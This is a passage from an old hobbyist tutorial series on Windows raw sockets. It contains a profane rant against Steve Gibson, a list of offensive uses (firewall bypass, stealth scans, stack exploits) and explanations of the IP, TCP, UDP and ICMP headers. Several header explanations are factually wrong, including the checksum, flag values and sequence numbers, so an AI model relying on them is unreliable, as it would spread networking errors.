hopefully you should see them on blacksun soon :). This part covered the basics of
windows programming, there was no point in writing about UNIX programming as bracaman
has released a very good tutorial on basic UNIX sockets programming which is available
from blacksun.box.sk and code.box.sk.

I will be discussing Unix sockets again however in the next part of this tutorial but
mostly in a porting sense. To see what’s planned for future parts so far just look down :).
 

Part 2. -  GENERAL SOCKETS  - Porting to windows and cross platform code.
Part 3.  -  RAW Sockets     - Have more control over packets with raw sockets.
Part 4.  -  ADVANCED      - A real world example by building an internet communication suite.
Part 5.  -  FINISHING OFF    - Putting it all together in one big program.

So that’s what’s still to come, but I may change some of these future tutorials at any
time before there released if I do so it will be to improve the series in my view and
remember send me comments and suggestions and your ideas might also change the layout
of following tutorials.
 

Well thank you for reading this tutorial and visit my website to keep up to date with
the series and for add on code and articles to the series.

- BR ;)
 

*FINAL NOTE*

Id really like to thank Bracaman for everything including allowing me to use code from
his tutorial and please remember that this tutorial should be read with his (after his
1 even :P), so thanks for everything Bracaman it helped so much :).


APPENDIX A - THE COMPILER

All of the programs in this tutorial have been tested under Microsoft Visual C++ 6.0,
im running Windows 2000 Professional edition and I have an Intel Pentium 2.

To set up the compiler for Winsock programming you need to link Wsock32.lib to your project.
Under Visual C++ do the following.

1. Select the File view tab.
2. Right Click the files menu and go to Settings.
3. Select the Link tab in Project Settings.
4. Add Wsock32.lib to the list of .lib files and press ok.

The winsock.h header file is included in windows.h so don’t worry about that.


Black Sun Research Facility Tutorials - Windows Internet Programming Part 3


 
              _________________
 
             /_               /\  
 
              \/  _______    /  \
 
              /  /      /   /   /
 
             /  /______/   /   /
 
            /           __/   /
 
           /  _______   \  __/
 
          /  /      /   /  \
 
         /  /______/   /   / 
 
       _/             /   /      
 
      /______________/   /       BLACK SUN RESEARCH FACILITY
 
      \              \  /      	   http://blacksun.box.sk/
 
       \______________\/
 
 
 
 
 

 
 
 
 
 
WINDOWS INTERNET PROGRAMMING PART 3
 
=================================================
 
 
 
 
 
 
 
   WRITTEN BY                 [ cos125@hotmail.com                :E-MAIL    ]      
 
           BINARY RAPE        [ 114603188                         :ICQ#      ]      
 
                              [ http://blacksun.box.sk/           :TURORIALS ]      
 
 
 
 
 
 
 
 
 
 
 
Thanks to cyberwolf for letting me write this and BSRF for releasing it.
 
 
 
 
 
 
 
Disclaimer
 
=======================================
 
 
 
 
 
None of the information or code in this tutorial is meant to be used against others
 
or to purposely damage computer systems or cause any loss of or damage to property.
 
 
 
Further more neither myself or any other contributor to, or member of, the Blacksun
 
research Facility (BSRF) can be held responsible for damage or loss of property of
 
computer systems as a result of this tutorial.
 
 
 
In this tutorial the code is provided as a learning aid so you can see how its done
 
its not meant for you to use against yourself or others.
 
 
 
Also  you are encouraged to alter the code and improve it. I say create or build a
 
program to do something not create or build a program to do something and use it for
 
that purpose.
 
 
 
 
 
CONTENTS
 
=======================================
 
 
 
1.  Introduction
 
2.  What are Raw Sockets?
 
3.  The Internet Headers
 
   
 
    3.1 The IP Header
 
    3.2 The TCP Header
 
    3.3 The UDP Header
 
    3.4 The ICMP Header
 
 
 
4.  Creating a Packet
 
 
 
    4.1 Setsockopt()
 
    4.2 Socket()
 
 
 
5.  Building Headers in code.
 
   
 
    5.1 The IP Header
 
    5.2 The TCP Header
 
    5.3 The UDP Header
 
    5.4 The ICMP Header
 
    5.5 The Psuedo Header
 
    5.6 The Checksum Function
 
 
 
6.  Source Code
 
 
 
    6.1 ICMP Echo Request
 
    6.2 TCP ACK Packet
 
 
 
 
 
7.  Recieving Raw Sockets
 
8.  Last Words
 
 
 
 
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
 
 
1.0 INTRODUCTION
 
=======================================
 
 
 
Welcome to the 3rd and quite possibly.. the last in this little series
 
of ours, its been fun.. kinda..  but never fear there may be one last
 
part to come in future covering advanced topics like multicasting and
 
we'll always have updates on the tutorials. Of course ive saved the
 
best topic for last, Raw Socket programming, and even more so its in
 
Windows! A topic which in this place has a certain member of the
 
computer security world huffing and yes indeed there is puffing also.
 
Head on over to grc.com for more information and listen to him piss his
 
pants scared because of raw sockets support in Windows XP...  you see
 
Steve Gibson of grc.com believes that because of windows xp's raw
 
socket support is available to all users on a windows XP Home Edition
 
computer he foresee's the following scenario:
 
 
 
A few kids, it would only take a small group, maybe friends in school,
 
they meet each day in a dark little ol' alley at the back of school
 
and decide who there next "target" is going to be, they then all
 
decide on a time to attack and as Gibson puts it "synchronises their
 
watches", then at the decided time they fire up the DoS tools on
 
their new copy of windows XP Home Edition and launch their attack upon
 
whatever ill-faithed domain name that the kids had decided earlier.
 
 
 
Hmmm....  interesting, well mostly Gibson you focus upon Home Edition
 
of windows XP, why? well of course its because of its support for Raw
 
Sockets for all users, yes but in your dark and devious example of
 
"Junior and his XP gang" you refer to that upgrade the kids would get
 
to windows XP home edition well what if they had a copy of Windows XP
 
professional or Windows 2000, or even Windows NT for that matter of
 
course these other operating systems dont have support for Raw Sockets
 
to all its users but if its the kids that are installing these Os's
 
wouldn't set up the admin account or give themselves admin priv's?
 
then they would have raw socket support anyway. ok Gibson lets give ya
 
a little break in fairness Raw Socket support on Home Edition may be
 
dangerous and people are of course likely to exploit this feature (no
 
Steven it is not a bug it is a feature) and create DDoS tools with it
 
but lets look at things, will it really make things bad, will this put
 
an end to the threat of DDoS attacks from Windows Systems? Well no
 
actually huh! shock horror there is yet still raw socket support on
 
systems other than windows xp, Win2k only supports raw sockets for
 
admin users, what if some-1 gains admin privilages they could still
 
use it hell with NT all you have to do is change an entry in the
 
registry, ok lets pull out raw socket support for these 3 operating
 
systems all together and we'll be safe right? Well unfortunately Win9x
 
systems with Winsock v2.0 also have Raw Socket support limited as it is.
 
Thankfully with Windows 9x you can only create ICMP packets... but am..
 
theres still a load of things i could do with just ICMP Steveo, I
 
could get a subnetmask, ping and traceroute, firewalk, fact of the
 
matter is I could even create a trojan with icmp tunneling! and this
 
is all without even touching icmp based DoS attacks! Well the answer is
 
simple then isn't it Steve all we have to do is pull raw socket support
 
from Winsock v2.0, but yes Steve all we have to do is create a dll or
 
use an already existing C++ library to create raw socket abilities
 
in our applications, you do comment on this in your site saying how it
 
doesn't matter because in the past we would have to install new drivers
 
and things, wow, do you think that some-1 that really wanted to create
 
a DoS attack would be stopped by the need to download 1 more little
 
piece, the application could even install any drivers or dll's it
 
needed on its own. Yes Steve Gibson, there could be raw socket support
 
now on Windows XP computers..  but then again there always was raw
 
socket support on all windows boxes if you really looked and yes there
 
will be DDoS attacks to come, just like there always would have been
 
even without its canned support in windows boxes, also you refered
 
to linuxs support for raw sockets as if it didnt matter because of
 
the size of its distribution, more and more people are using linux and
 
realising its benefits and we are seeing the beginning of "The Linux
 
Lamer" 2 words which sadly should never have been mentioned in the
 
same sentence, these people could still use DDoS linux tools. What will
 
Raw Sockets bring? DDoS tools? certainly, Better firewalls on Windows
 
systems? Yes. The availability of security scanners and a wider
 
understanding of the internet and its protocols to windows programmers?
 
well yup and probably alot more, maybe you are just setting up so much
 
hype for the very reason you gave Mr. Gibson sir, You didnt shout out
 
when scripting support was added to mail clients, now you can cause
 
such a large amount of confusion and fear in people and have alot of
 
people shouting no at you that once the very first stupid little DoS
 
tool that comes along for windows XP that you can say haha yes! I told
 
you so, I was right, you were wrong, but you see the thing is we're not
 
saying your wrong, infact, your right, there will be DDoS tools and
 
we all know that but all your managing to do is cause fear and confusion
 
altough who knows, maybe you just make it your jollies getting people
 
to complain and send flames to secure@microsoft.com so that they remove
 
raw socket support from windows and you can feel like your a big man
 
getting the big bad microsoft empire to do what you want? even the
 
security manager at microsoft says:
 
 
 
". . . 'are DDoS attacks going to happen?' Yes. They  
 
will happen; and they will happen on Windows XP. "
 
 
 
He is not admitting the great 'flaw' in the Windows XP operating system
 
he is being realistic, maybe you should try it it'll be a new experience
 
for ya. Any-1 in the computer security field will happily admit, no
 
system can be completely secure and things like what your talking about
 
will happen, but they don't even need raw socket support to do so.
 
Maybe ive been wrong about you all the time maybe you just want to shout
 
so much about the damn thing and even pass out source code for such tools
 
so that some-1 will come across read your files, get the stuff into their
 
head and run along with a hand-full of your little code and propeganda
 
and finally design a tool like this, the more publicity you give this
 
the more likely such a scenario like this will happen, of course that could
 
be your whole point to get whatever it is your after, or it could be that
 
if some-1 does design a bad DoS tool microsoft will have to pull the raw
 
support and again you can get your jollies from being correct, forgetting
 
every-1 that did agree with you but still saw your utter stupidity.
 
 
 
Just to let every-1 know incase they are a bit concerned about Gibson's
 
evil Windows XP Raw Socket support, the source code he created using raw
 
sockets to show how bad they are doesn't actually work, there was a problem
 
in his bind() function, after realising this he stated,
 
 
 
"it's not clear to me what it even means to 'bind' a raw socket"
 
 
 
and of course around the same time hes really getting at microsoft for
 
their stupidity and complete lack of security or as you like to phrase it
 
" MICROSOFT SECURITY " " The Oxymoron that keeps on giving ".
 
 
 
One of the best things youve said troughout all this was infact:
 
 
 
"a good thing for Windows raw socket security!"
 
 
 
What was that the time you realised you were wrong about microsofts
 
security or the time you went out to lunch and SHUT YOUR FUCKING ASS
 
FOR 5 MINUTES AND STOPPED WRECKING EVERY-1'S FUCKING HEAD YOU ASSHOLE.
 
I am so lucky that unlike people at microsoft.com's security devision
 
I don't have to listen to either you or the countless number of people
 
that you have scared into doing your bidding by exagerating facts and
 
twisting other people's words to give the wrong idea, my hat goes off
 
to Greg at Microsoft, personally I couldn't have done the same as he
 
has done, not only did he immediately help out Steve with his enquiries
 
he even kept steve up to date step by step in reveiwing his concerns.
 
Steve quickly returned Greg's hospitality and consideration by insulting
 
the amount of work he has done on his behalf and its quality. This
 
particular behaviour is probably to be expected i guess from some-1
 
who is so egotistical, some-1 that would pretty much say people who say
 
its good because its a standard are morons because they are following
 
the pack and that its a standard just because some-1 said it is,
 
no Steve its a standard because its a part of the standard specification
 
for sockets, thats why its supported, 'as standard' if you will by all
 
operating systems except from microsoft up to this point. Apparently
 
trough it all Gibson just wants a time machine to travel a few years
 
back where people still believed like he does that the best security
 
is obscurity.
 
 
 
One last point on this subject, The Firewall that comes with versions
 
of windows XP, once again 'As Standard' blocks the types of attacks
 
that Steve Gibson is describing, you think thats also a good thing
 
for microsofts security Steve?
 
 
 
 
 
So why all the fuss and anger in the last few paragraphs? Taught id
 
never shut up didnt ya :P. Well as ive been researching Windows XP's
 
raw socket abilities ive been effectively blocked by the constant
 
reoccuring pages found concerning Gibsons bullshit and fear spreading
 
tactics, after using a total of 8 different combinations of keywords
 
and reading many many pages i finally found a grand total of 4
 
examples of windows raw socket programs, btw only one of them had
 
ever been run on windows XP and im not even sure about that I think
 
his code may actually have been run on windows 2000. One of them had
 
only been run on a Windows 9x system !! Basically there isn't that much
 
documentation to learn from out there in the void so I think it could
 
do with me adding a little more, besides few guys flamed me a while back
 
on 1 of the channels on box.sk's irc server, (not in #bsrf or #code),
 
for saying that there was raw socket support in windows so I kinda
 
wrote this for them as well, here ya go guys ;).
 
 
 
So anyway without further delay lets get onto some real substance in
 
this tutorial with the most common question of all.
 
 
 
 
 
2.0 WHAT ARE RAW SOCKETS?
 
=======================================
 
 
 
Raw sockets are very similiar to normal sockets but with raw sockets
 
you can control the packets that you send better and can control them.
 
Raw sockets don't have anything to do with packets themselves they
 
are purely a programming concept. You see with normal socket programming
 
we would supply a certain amount of information like the ip address we
 
were sending it to, the port, the buffer containg the text we were
 
sending, and whatever protocol we would be sending it with like TCP or
 
UDP, we would supply all this information by filling up structures and
 
send the information by calling a couple of functions.
 
 
 
The difference with Raw sockets is that we create our own structures
 
for the headers and tell the Winsock that we wanted to use that
 
information, now we would fill out these structures with a bit more
 
information like our source IP address and fields like the Time To
 
Live (TTL) that we discussed in the first part of this tutorial.
 
 
 
using this method we can do many things with the Packets that we use
 
like the following:
 
 
 
* Get the Subnetmask from a computer.
 
* Bypass firewalls and routers using various methods.
 
* Map networks.
 
* Send information covertly.
 
* Exploit Network Stack vulnerabilities.
 
* Perform a stealth port scan.
 
* Remote OS identification.
 
* Build a firewall.
 
 
 
And theres way more that you could do as well. Until the release of
 
Winsock 2.0 Raw Sockets could not be possible unfortunately, Winsock
 
1.1 never included the ability which was specified in the Berkeley
 
Sockets specification (mostly because microsoft was in a rush to
 
release the winsock stack). Luckily even if you dont have Winsock v2
 
(which more than likely you will) you can still download version 2.0
 
for your version of windows from the microsoft website, windows 3.1
 
unfortunately does not have a 2.0 version microsoft has decided not
 
to release a 16 bit one. Of course if you have Windows 3.1 what the
 
fuck are you doing? suddenly springs to mind, oh well, go away. Now
 
Windows32 systems have Winsock however different versions have varying
 
amounts of support for raw sockets. All Version 2 stacks have support
 
for creating ICMP packets using Raw Sockets but Only Windows NT4, 2000
 
and XP have the capability for creating TCP and UDP packets. D'ont
 
worry there is still alot of things you can do with ICMP alone if you
 
use a Win 9x system. Before we go into the programming side of things
 
we must now cover the IP, ICMP, TCP and UDP protocols in more detail.
 
If you have read Part 1 of this tutorial you should have a pretty good
 
idea about how all the protocols work if not thats ok it shouldn't be
 
too bad and you should be able to understand things, so please read
 
on for explenations of the Protocols.
 
 
 
 
 
3.0 THE INTERNET HEADERS
 
=======================================
 
 
 
In part 1 we discussed the different Internet protocols and how they
 
fit together with packets so you should know pretty well how data is
 
transfered across the internet and understand many of the fields
 
within the different headers, if you aren't sure or cant quite
 
remember I suggest you read the first few sections of Part 1 of this
 
tutorial. Well now that you have a pretty good idea about the different
 
headers and understand the idea behind them we are going to have to go
 
into slightly more detail about the different headers and their
 
respective fields.
 
 
 
 
 
 
 
3.1 THE IP HEADER
 
=======================================
 
 
 
   +---------------------------------+--------------------------------+
 
   |Version |  IHL   |     TOS       |         Total Length           |
 
   | 4 bits | 4 bits |    8 bits     |            16 bits             |
 
   +--------+--------+---------------+------+-------------------------+
 
   |        Identification           |Flags |     Fragment Offset     |
 
   |            16 bits              |3 bits|         13 bits         |
 
   +-----------------+---------------+------+-------------------------+
 
   |  Time to Live   |   Protocol    |        Header Checksum         |
 
   |      8 bits     |    8 bits     |             16 bits            |
 
   +-----------------+---------------+--------------------------------+
 
   |                        Source Address                            |
 
   |                            32 bits                               |
 
   +------------------------------------------------------------------+
 
   |                      Destination Address                         |
 
   |                            32 bits                               |
 
   +------------------------------------------------+-----------------+
 
   |                     Options                    |     Padding     |
 
   +------------------------------------------------+-----------------+
 
 
 
   FIG 1.0  - Structure of an IP Header
 
 
 
 
 
As you can see above the IP header has a total of 14 Fields.
 
 
 
1.  Version
 
2.  IHL
 
3.  TOS
 
4.  Total Length
 
5.  Identification
 
6.  Flags
 
7.  Fragment Offset
 
8.  Time To Live
 
9.  Protocol
 
10. Header Checksum
 
11. Source Address
 
12. Destination Address
 
13. Options
 
14. Padding
 
 
 
 
 
1.  Version		- The version field describes what version of the IP Protocol
 
			  is being used, we will be using IPv4 because it is more
 
			  supported and IPv6 is not yet fully implemented.
 
 
 
2.  IHL			- The Internet Header Length (IHL) contains the length of the
 
			  Internet Header in 32 bit words. Minimum value for a header
 
			  is 5.
 
 
 
3.  TOS			- The Type Of Servive (TOS) field was designed to tell routers
 
			  how the packet is to be handled for example so that packets
 
			  that need to move quickly like streaming audio would have a
 
			  higher TOS value than other packets so that routers would
 
			  send them across the network faster. These days most routers
 
			  do not process the TOS field because it would waste too much
 
			  of the routers time so we usually just set the TOS field to
 
			  0.
 
 
 
4.  Total Length 		- This field contains the total size of the Internet Packet
 
			  including headers and data. Typical IP headers are 20 bytes
 
			  in size, same with TCP ones, so an Internet Packet with an
 
			  IP Header, a TCP Header and no data would be 20 + 20 = 40
 
			  bytes in length, Total Length = 40 Bytes.
 
 
 
5.  Identification		- This field is used to aid in tracking fragmented packets,
 
			  each fragment has the same ID as the first datagram, the
 
			  ID's of datagrams following each other is usually
 
			  incremented, because this value must be unique most
 
			  applications use there process id to fill in this field.
 
 
 
6.  Flags			- Flags are used with IP to control fragmentation, there are
 
			  4 flags.
 
 
 
 
 
			1-NO FLAGS		       [VALUE = 0x00]
 
 
 
			  Does not specify any fragmentation options
 
 
 
			  		     
 
 
 
 
 
			2-MORE FRAGMENT		       [VALUE - 0X01]
 
 
 
			  Means there is more fragments to be
 
			  recieved after this packet
 
 
 
			  		     
 
 
 
 
 
			3-DONT FRAGMENT		       [VALUE = 0X02]
 
 
 
			  Tells the stack not to fragment this packet
 
 
 
			
 
			4-MORE & DONT		       [VALUE = 0X03]
 
 
 
			  Tells the stack that there are more packets
 
			  to be recieved after this one and not to
 
			  fragment it
 
 
 
			  		     
 
 
 
 
 
		    NOTE: THE LAST FRAGMENT CANNOT HAVE A FLAG OF 0X01 (MORE FRAG)
 
			  AS THERE ARE NO OTHER PACKETS TO FOLLOW.
 
 
 
 
 
 
 
7.  Fragment Offset	- The fragment offset is used for placing different packets
 
			  in the correct order when reassembling Datagrams. The first
 
			  fragment must have a value of 0 and the last must be equal
 
			  to the value of Total Length. Value is measured in units of
 
			  64 bits (8 octets).
 
 
 
8.  Time To Live	- The Time To Live (TTL) field was created so that if a packet
 
			  cannot find its destination it will be destroyed rather than
 
			  travel across the internet indefinately, if packets kept
 
			  mounting in this fashion it would seriously degrade network
 
			  performance. Each router that a packet meets decrements the
 
			  value of the TTL field by one. If the value is decremented
 
			  to 0 before it reaches its destination the packet will be
 
			  destroyed and an error sent back to the computer that the
 
			  packet originated from. If the TTL is set to 0 on creation
 
			  it will immediately be destroyed.
 
 
 
9.  Protocol		- This field specifies what protocol is being carried in the
 
			  datagram eg; TCP.
 
 
 
			  The most common values are as follows:
 
 
 
			  IPPROTO_TCP	= TCP
 
			  IPPROTO_UDP	= UDP
 
			  IPPROTO_ICMP	= ICMP
 
 
 
			  Other protocols and there values will be specified later.
 
 
 
10. Header Checksum	- The checksum is the size of the Internet Header, it is used
 
			  to verify the integrity of a packet by comparing the headers
 
			  size with the value of the checksum. Certain fields in the
 
			  IP Header change troughout transport such as the TTL field
 
			  because of this the checksum is recalculated and verified
 
			  by each router or gateway it encounters.
 
 
 
11. Source Address		- The IP Address of the computer that the packet originated
 
			  from. In other words if you sent a packet this field would
 
			  contain your IP Address. This lets the computer being sent
 
			  the packet know where it came from and where to send a reply.
 
 
 
12. Destination Address 	- The IP Address of the computer that the packet is being sent.
 
			  Lets routers that the packet meets know where to send the
 
			  packet to.
 
 
 
13. Options		- Mostly the options aren't filled out and they are very rarely
 
			  used at all so we wont discuss them very much. There are
 
			  however 3 interesting options that we will discuss here,
 
			  they are:
 
 
 
			  1. Loose Source Routing
 
			  2. Strict Source Routing
 
			  3. Record Routing.
 
 
 
			  1. Loose Routing
 
			  
 
			  Loose Routing allows us to specify the source computer (us)
 
			  and the destination computer's IP Address's in the IP
 
			  header along with the address's of a couple of other routers
 
			  that the packet must travel across between, then we can
 
			  better control how the packet travels across the internet.
 
 
 
			  2. Strict Routing
 
 
 
			  Strict Routing allows us to specify the source computer (us)
 
			  and the destination computer's IP Address's in the IP
 
			  header along with the address's of other routers, the packet
 
			  then has to travel along this exact route to get to its
 
			  destination, using this we can route our packets around
 
			  routers or gateways that are down or not responding, this
 
			  also means that if you wanted to you could ensure that the
 
			  packet travels across certain networks and passes certain
 
			  routers, of course this isn't recommended as you could
 
			  'accidentaly' bypass security restrictions on some networks
 
			  by using this method, which is naughty.
 
 
 
			  3. Record Routing
 
 
 
			  Im sure we are all familiar with the traceroute program
 
			  which uses the ICMP protocol to tell us what routers our
 
			  packets are traveling trough to get to there destination,
 
			  record routing can be used ina  similiar way, by setting
 
			  this option every router that the packet meets places its
 
			  IP Address into the IP Header, we can then examine the packet
 
			  and see what IP Address's it contains.
 
 
 
		    NOTE: AN IP HEADER CAN ONLY BE A MAXIMUM OF 60 BYTES LONG AND THE
 
			  HEADER IS 20 BYTES IN LENGTH, EACH IP ADDRESS IS 4 BYTES IN
 
			  SIZE SO AN IP HEADER CAN ONLY CONTAIN A MAXIMUM OF 10 IP
 
			  ADDRESS'S EACH.
 
 
 
 
 
14. Padding		- Padding is there to respect the 32 bits boundary, its composed
 
			  of 0's.
 
 
 
 
 
 
 
3.2 THE TCP HEADER
 
=======================================
 
 
 
Well before we get into the TCP header we first have to explain how exactly a TCP connection
 
is formed between two hosts. The First host sends a TCP packet with one of the fields in the
 
header set with a value of SYN, this is known as a SYN (synchronise) packet. So what is this
 
packet synchronising? A potential problem with a TCP connection would be  if a connection was
 
established between some internet user at home and a shop on the internet, the user views his
 
details but in the mean time some-1 were to pretend they were that user and the webshop sent
 
that users details to that person instead of the real user (such as the real users credit
 
card numbers?). Because of this a thing called an acknowledgement number was created, the
 
number is defined by the server and the syn packet is used to transmit this number to the
 
host, both sides of the connection now have the same Acknowledgement number and they are
 
synchronised! The Acknowledgement number will be contained in all TCP packets troughout this
 
session and if any packets recieved at either side have a wrong Acknowledgement number then
 
the packet will be discarded.
 
 
 
The second host will now send another TCP packet this time with a field set to ACK
 
(Acknowledge) this is known as a SYN_ACK packet. Its purpose is to acknowledge the reception
 
of the SYN packet.
 
 
 
Once the first host has recieved the SYN_ACK packet it sends one last ACK packet, just to be
 
sure to be sure.
 
 
 
As you can see this process involves 3 steps.
 
 
 
1. Host sends SYN packet to target start a connection
 
2. Target sends host an ACK packet saying it recieved the SYN.
 
3. Host sends target an ACK packet to confirm and connection is established.
 
 
 
Because of these 3 steps the TCP connection is known as the Three-Way-Handshake.
 
 
 
 
 
 
 
   +---------------------------------+--------------------------------+
 
   |          Source Port            |       Destination Port         |
 
   |            16 bits              |           16 bits              |
 
   +---------------------------------+--------------------------------+
 
   |                          Sequence Number                         |
 
   |                              32 bits                             |
 
   +------------------------------------------------------------------+
 
   |                      Acknowledgment Number                       |
 
   |				  32 bits			      |
 
   +--------+------------+-----------+--------------------------------+
 
   |D-Offset|  Reserved  | Ctrl Bits |   	   Window               |
 
   | 4 bits |   6 bits   |   6 bits  |	   16 bits              |
 
   +--------+------------+-----------+--------------------------------+
 
   |            Checksum             |        Urgent Pointer          |
 
   |             16 bits             |            16 bits             |
 
   +---------------------------------+--------------+-----------------+
 
   |                     Options                    |     Padding     |
 
   +------------------------------------------------+-----------------+
 
   |				Data			      |
 
   +------------------------------------------------------------------+
 
 
 
 
 
   FIG 1.1  - Structure of a TCP Header
 
 
 
 
 
There are 12 fields in total in the TCP Header and your Datagram.
 
 
 
1.  Source Port
 
2.  Destination Port
 
3.  Sequence Number
 
4.  Acknowledgement Number
 
5.  Data Offset
 
6.  Reserved
 
7.  Control Bits
 
8.  Window
 
9.  Checksum
 
10. Urgent Pointer
 
11. Options
 
12. Padding
 
 
 
 
 
 
 
1.  Source Port		- The Source port number.
 
 
 
2.  Destination Port	- The Destination port number.
 
 
 
3.  Sequence No.		- The sequence number is used to ensure that segments
 
			  recieved by a host are from where they claim to be,
 
			  this prevents people from hijacking connections.
 
 
 
4.  Acknowledgement No. 	- The acknowledgement number to ensure both sides of
 
			  the connection are authentic, as explained above.
 
 
 
5.  Data Offset		- The Data Offset in the header is expressed in 32 bit
 
			  words. The default is 5 if you have no options set
 
			  in the TCP header.
 
 
 
6.  Reserved		- This field is reserved for future use, you must have
 
			  it set to 0.
 
 
 
7.  Control Bits		- This is the field that contains values such as SYN
 
			  and ACK. It has a total of 6 values.
 
 
 
    		    	  URG:  Send Urgent Data to destination.
 
    		    	  ACK:  Acknowledgment of Data.
 
    			  PSH:  Push Data to destination.
 
    			  RST:  Reset the connection.
 
    			  SYN:  Synchronize sequence numbers.
 
    			  FIN:  No more data from sender.
 
 
 
8.  Window		- Specifies the maximum size of a segment that you can
 
			  accept, if the segment is larger than this then it
 
			  must be fragmented.
 
 
 
9.  Checksum		- The TCP checksum just like we explained with the IP
 
			  header, is to ensure that there is no loss of Data
 
			  during transport, it gets the size of the packet and
 
			  when it gets to the host the host compares the size
 
			  of the packet with the value of the checksum and if
 
			  they dont match you can see the packet was mangled
 
			  during transport.
 
 
 
			  The TCP Checksum is calculated using a psuedo header
 
			  which is prefixed to the TCP Header. The purpose of
 
			  this Psuedo Header is to protect the TCP packet from
 
			  misrouted segments. The Psuedo Header contains 4
 
			  main pieces of information, the Source IP, the
 
			  Destination IP numbers, the protocol and the TCP
 
			  length.
 
 
 
 
 
   			  +-----------------------------------+
 
   			  |           Source Address          |
 
   			  +-----------------------------------+
 
   			  |         Destination Address       |
 
   			  +--------+--------+--------+--------+
 
   			  |  zero  |  PTCL  |    TCP Length   |
 
   			  +--------+--------+--------+--------+
 
 
 
			  FIG 1.3  - The structure of a Psuedo Header
 
 
 
 
 
			  The TCP Length field is the length of the TCP Header
 
			  + length of the Data and does not count the length of
 
			  the Psuedo Header (12 Bytes).
 
 
 
10. Urgent Pointer	- This field is only to be set when the URG control bit
 
			  is set. It points to a Data area.
 
 
 
11. Options		- The TCP options field is very similiar to the IP Options
 
			  field except it has fewer interesting parts that need
 
			  to be mentioned here...  none.
 
 
 
12. Padding		- The same as the IP Padding Field.
 
 
 
 
 
 
 
 
 
3.3 THE UDP HEADER
 
=======================================
 
 
 
   +---------------------------------+--------------------------------+
 
   |          Source Port            |       Destination Port         |
 
   |            16 bits              |           16 bits              |
 
   +---------------------------------+--------------------------------+
 
   |            Length               |           Checksum             |
 
   |            16 bits              |           16 bits              |
 
   +---------------------------------+--------------------------------+
 
 
 
   FIG 1.4  - The Structure of a UDP Header
 
 
 
The UDP Header is more basic than previous Headers, it has only 4 fields.
 
 
 
1. Source Port
 
2. Destination Port
 
3. Length
 
4. Checksum
 
 
 
 
 
1.  Source Port		- Same as in TCP.
 
 
 
2.  Destination Port	- Same as in TCP.
 
 
 
3.  Length		- The length of the Datagram, including UDP Header and
 
			  Data. Size must be at least 8.
 
 
 
4.  Checksum		- Same as TCP this field protects against misrouted packets
 
			  it also uses the same Psuedo Header as TCP.
 
 
 
 
 
 
 
3.4 THE ICMP HEADER
 
=======================================
 
 
 
   +----------------+----------------+--------------------------------+
 
   |      Type      |     Code       |           Checksum             |
 
   |     8 bits     |    8 bits      |           16 bits              |
 
   +----------------+----------------+--------------------------------+
 
   |                              Unused                              |
 
   |                              32 bits                             |
 
   +------------------------------------------------------------------+
 
   |            Internet Header + 64 bits of Original Data            |
 
   |                              32 bits                             |
 
   +------------------------------------------------------------------+
 
 
 
   FIG 1.5  - The Standard Structure of an ICMP Header
 
 
 
The ICMP Header changes depending on the message it is sending. Different
 
ICMP Messages are conveyed by combinations of different values and the
 
Unused Field can contain different values and become used depending upon
 
the different ICMP messages being sent. For example in some messages you
 
may need to specify the general Type of message and then its code, this
 
certain message may require additional information such as the IP Address
 
of a computer, this address would then be stored in the Unused Field.
 
 
 
The ICMP protocol is similiar to UDP in that it is used in messages of 1
 
Datagram in size, however, ICMP is more like an extension of IP and certain
 
fields must also be set for use with ICMP.
 
 
 
 
 
The Standard ICMP Header has 4 main fields.
 
 
 
1. Type
 
2. Code
 
3. Checksum
 
4. Unused
 
 
 
 
 
1.  Type		- Field declaring the type of ICMP Message.
 
 
 
2.  Code		- Field specifying the messages code to identify its
 
			  meaning.
 
 
 
3.  Checksum	- Calculated the same as other headers, the kernel may pad
 
			  this if the checksum is an odd number to respect 32 bit
 
			  boundaries in most ICMP messages but Checksum is not
 
			  calculated in some ICMP Messages.
 
 
 
4.  Unused	- The value of this field varies depending on the type of
 
			  ICMP message, if no value is to be entered in this field
 
			  it must be specified as 0.
 
 
 
 
 
There are several different ICMP messages but here we are only going to refer
 
to the 2 most interesting types Echo and Netmask request and reply's.
 
 
 
======================
 
Echo Request and Reply
 
======================
 
 
 
Description:
 
 
 
These two ICMP Messages are commonly used in conjunction to form
 
the ping program. First we send an Echo Request to a host and
 
that host then sends us an echo reply. By sending multiple requests
 
to a host and comparing the time they were sent with the time that
 
the Echo Reply was recieved we can calculate the mean time that
 
packets are sent between us and that host. This Message is also
 
useful to determine whether a host is reachable and connected to the
 
internet or not.
 
 
 
Data can be inserted into an Echo request, perhaps for checking
 
the integrity of a packet which it is returned?
 
 
 
 
 
Type:
 
 
 
Echo Request	= 8
 
Echo Reply 	= 0
 
 
 
 
 
Code:
 
 
 
Field Unused	= 0
 
 
 
 
 
Checksum:
 
 
 
As specified above.
 
 
 
 
 
Identifier:
 
 
 
Same as the IP Identifier, useful to determine which ICMP Echo Reply
 
belongs to which Echo Request.
 
 
 
 
 
Sequence Number:
 
 
 
Used in the same way as the Identifier is above, useful for matching
 
Echo Reply's with Requests.
 
 
 
====================================================================
 
 
 
=========================
 
Netmask Request and Reply
 
=========================
 
 
 
Description:
 
 
 
We can send a netmask request to a host and it will return a netmask
 
reply containing its subnetmask, getting subnetmasks is useful for
 
mapping out and gathering information on network topology.
 
 
 
 
 
Type:
 
 
 
Netmask Request	= 17
 
Netmask Reply	= 18
 
 
 
 
 
Code:
 
 
 
Field Unused	= 0
 
 
 
 
 
Checksum:
 
 
 
Same as above.
 
 
 
 
 
Identifier:
 
 
 
Same as the IP Identifier, useful to determine which ICMP Netmask
 
Reply belongs to which Netmask Request.
 
 
 
 
 
Sequence Number:
 
 
 
Used in the same way as the Identifier is above, useful for matching
 
Netmask Reply's with Requests.
 
 
 
====================================================================
 
 
 
 
 
 
 
4.0 CREATING A PACKET
 
=======================================
 
 
 
OK well thats enough Protocol Header theory, lets look at how we are
 
going to construct a raw socket in code and the differences between
 
coding raw sockets and normal windows sockets code.
 
 
 
Now with normal Sockets we give certain information to the stack in
 
the case of windows, the Winsock. This information comprises of things
 
like what transport layer were gonna use, TCP or UDP, the address of
 
the host we are going to send it to, the port for it to go to, the
 
Data to be contained within the Datagram, we name the socket call
 
the sendto() function and off it goes. What we should consider now
 
is what then happens to the information that we just provided, we know
 
how the IP protocol sends it off zooming across the internet and how
 
the host handles and sends this Data, but what happens inbetween the
 
time we called sendto() and the time that packet leaves our computer?
 
 
 
Well we passed this information to the winsock, the winsock then
 
takes information such as the Destination address and our own address
 
